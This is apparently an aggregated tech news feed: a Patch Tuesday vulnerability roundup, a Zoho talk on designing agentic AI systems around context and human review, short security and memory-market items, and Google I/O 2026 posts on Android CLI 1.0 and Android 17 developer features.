More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Smaller, smarter, safer: How to build agentic AI on the right foundation

Sat, 25 Jul 2026 18:55:52 +0200

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
Smarter: The system around the model decides more than the model does.
Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

Malicious sites use JavaScript to build malware in browser memory

Sat, 25 Jul 2026 18:52:57 +0200

A massive malvertising campaign is using fake Solana, Luno, and TradingView webpages with malicious JavaScript that instructs browsers to assemble malware directly in memory. [...]

CVE-2026-16411 | Mozilla Firefox up to 152 Memory memory corruption (Nessus ID 329487)

Sat, 25 Jul 2026 16:33:27 +0200

A vulnerability was found in Mozilla Firefox up to 152 and classified as critical. This affects an unknown function of the component Memory. The manipulation results in memory corruption. This vulnerability is identified as CVE-2026-16411. The attack can be executed remotely. There is not any exploit available. It is suggested to upgrade the affected component.

The memory crisis just broke PC sales' growth streak — shipments dropped globally in Q2 2026, and only one PC brand saw any improvement

Sat, 25 Jul 2026 15:47:38 +0200

New findings from Counterpoint Research show that global PC shipments are finally seeing some seriously negative effects caused by the AI-driven RAM shortage. Only one Windows PC brand saw any growth, while everything else fell.

Micron urges White House to reject Apple's blacklist memory plan

Sat, 25 Jul 2026 14:52:08 +0200

Apple's plan to buy memory from a blacklisted supplier is receiving some pushback from Micron, which claims it will destabilize the U.S. tech industry.

Micron memory chips - Image Credit: Micron

In June, Apple petitioned the Trump administration to allow it to buy Mac RAM chips from a supplier blacklisted in the United States. Now, a U.S. memory producer has urged President Trump not to give in to Apple's request.

According to the Wall Street Journal on Friday, Micron lobbied the White House on the matter. Micron CEO Sanjay Mehrota and others met with Commerce Secretary Howard Lutnick and others, saying the move to allow sales from blacklisted Chinese companies to U.S. tech companies will be incredibly harmful.

Continue Reading on AppleInsider | Discuss on our Forums

Roku is increasing prices across its hardware range

Sat, 25 Jul 2026 10:40:24 +0200

Roku's streaming devices got a price hike, and it's reportedly because of industry-wide memory shortages.

Android CLI Now Stable 1.0: Accelerate developing for Android using any agent

Sat, 25 Jul 2026 10:15:49 +0200

Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers

As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio, Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

At Google I/O ‘26, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of Android CLI—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.

If you’re already using Android CLI and want to jump into using all the new features, just run android update. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.

Android development unlocked for Antigravity

Google Antigravity now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the Settings > Customizations > Build With Google Plugins menu.

This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.

You can now easily install Android CLI for use with Google Antigravity 2.0.

Unlocking Android Studio capabilities for any agent

Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.

Your agents can now use Android CLI to access powerful capabilities of Android Studio.

The latest version of Android CLI introduces the new android studio command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.

When you have a project open in the latest preview version of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:

$ android studio check
pid: 32942
version: Android Studio
Projects:
    READY     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main

From there, the agents can use the android studio command to access powerful IDE tools to interact with projects more efficiently. Key commands include:

analyze-file: Analyzes a file for errors and warnings using the editor's built-in inspections.
find-declaration: Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.
find-usages: Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.
render-compose-preview: Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.
version-lookup: Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.
open-file: Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.

For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.

$ android studio find-declaration HotelDetailScreen
$ android studio analyze-file .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt
$ android studio open-file feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt

To learn more about how to use these commands, run android help. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running android init.

More ways to get started

To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:

winget install -e --id Google.AndroidCLI

We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the Android CLI page.

Support for Journeys

Journeys are natural language descriptions of core user experiences.

We are also introducing support for Journeys. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.

(sped up) An agent running a Journey it generated for an app.

Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.

Expanding Android skills

To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our library of Android skills. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:

Display Glasses and Jetpack Compose Glimmer for XR: Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.
Migration to CameraX: Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.
Perfetto SQL: Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.
Adaptive UI: Instructions to make or update an app's UI so that it adapts to different Android devices
Testing setup: Creates a basic testing strategy.
Styles: Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API.
AppFunctions: Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.

You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:

android init

From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:

android skills list

Once you've found the right skill, install it to your environment by running:

android skills add –skill=

Get started today

To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to d.android.com/tools/agents today! Also, make sure you update to the latest preview version of Android Studio to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on LinkedIn, Medium, YouTube, or X and share your feedback.

Explore this announcement and all Google I/O 2026 updates on io.google.

17 Things to know for Android developers at Google I/O

Sat, 25 Jul 2026 10:15:45 +0200

Posted by Matthew McCullough, VP, Product Management, Android Developer

Today at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also see what was announced last week in The Android Show: I/O Edition. Stay tuned over the next two days as we dive into all of the topics in more detail!

Build High Quality Android Apps Using Agents

1: Android CLI: helping you build with any agent, LLM, and tool

Android CLI is now stable. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new Android skills, which enables agents to execute end-to-end UI tests under your direction. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

You can now easily install Android CLI for use with Google Antigravity 2.0.

2: Build production-ready apps with ease in Google AI Studio

Developers and creators can now build native Android apps, simply with a prompt in Google AI Studio. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

Use the embedded Android Emulator to create Android apps in Google AI Studio

3: Accelerating AI coding assistance with Android Bench

Android Bench is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements.

4: Convert iOS apps to Android with the Migration Assistant in Android Studio

The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the developer keynote.

A sneak peek of the Migration Assistant converting an iOS app into a native Android app

Building AI Into Your Apps

5: Building Intelligent Apps with generative AI

Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new Agent Development Kit (ADK) for Android, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the developer documentation, and watch the technical deep dive session where we showcase all these technologies.

6: Experiment with AppFunctions today

AppFunctions is an Android platform API with an accompanying Jetpack library to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the Early Access Program and start experimenting using the API guidance, sample, and skill today.

The Future is Adaptive

7: Android is now Compose First; Views are now in maintenance mode.

Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in our blog post.

Build Android UI with Compose

8: Building seamless Android experiences across devices with Jetpack Compose

The Android ecosystem is now Adaptive by Default, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with Googlebook and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. Jetpack Compose is the definitive engine for this transition, offering core tools like our latest Jetpack Navigation 3 release, new experimental Grid and FlexBox layouts, enhanced non-touch input support, and CameraX for correct camera previews across any window size. Furthermore, new skills in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever. Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.

9: Create seamless experiences for Googlebook

Last week we announced Googlebook, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant design guidance and developer guidelines for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.

New Desktop Android Emulator

10: Unified widget development experience with Jetpack Glance

Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow.

The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.

Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.

11: Expand your reach on the road with Android for Cars
To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized templated media apps for both platforms. We're introducing new components and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; apply now to the early access program to publish in these beta categories and learn more about the latest updates in our blog.

12: Accelerate your development with Android XR Developer Preview 4

Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with Developer Preview 4 of the Android XR SDK. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the Android XR Developer Catalyst Program, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or read our blog to see how these updates help you build experiences across the ecosystem.

Early preview of the Geospatial API in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.

13: Android is your new home for professional-grade media experiences

Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware.

The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.

Low Light Boost and Magic Eraser in action

14: Increase app discovery and engagement on Google TV

Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start declaring support for pointing input to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our blog.

15: Performance: the foundation of a great app experience

To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The R8 Configuration Analyzer identifies keep rules that are bloating your binary, while ProfilingManager and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new Android Performance Analyzer offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.

And The Latest on Driving Business Growth

16: What’s new in Google Play

Today's updates from Google Play help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console to pre-populate store listings from imported documents—making global localization effortless.

Gemini will provide users with app suggestions during a search

17: And of course, Android 17

Android 17 includes new performance & system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new contact picker and eyedropper API help minimize the use of sensitive permissions and unnecessary access to user data.

Review the behavior changes to make sure your app is ready for Android 17, including background audio hardening and SMS OTP protection. Get ready to target Android 17 (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device in the Beta or using the latest 17.0 emulator images.

One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

Check out all of the Android & Play Content at Google I/O

This was just a preview of some of the updates for Android developers at Google I/O. Tune into What’s New in Android for the latest news and announcements and follow Google I/O for much more over the following week!

Building Premium Android Experiences at Google I/O ‘26

Sat, 25 Jul 2026 10:15:42 +0200

Posted by Ataul Munim, Android Developer Relations Engineer

A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.

To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media.

Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!

Maximize app performance and ROI with the R8 Configuration Analyzer

A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.

This year, we’re making it easier to build highly optimized, fast apps by introducing the R8 Configuration Analyzer in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.

By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.

Extend your reach with a unified approach to Widgets on Phones, Watches and Cars

User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.

In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.

You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.

Supercharge your media pipeline with a complete, production-ready toolkit

Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem.

It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.

The new Media3 AI Effects library will provide a unified interface for premium features like Image & Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!

Complete the pipeline with tools designed for professional-grade export and viewing, including:

CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness
Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps
Enhanced Cast support with the new CastPlayer API in Media3

By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.

For more details, check out the premium Android experience YouTube playlist.

Prioritizing Memory Efficiency: Essential Steps for Android 17

Sat, 25 Jul 2026 10:15:41 +0200

Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

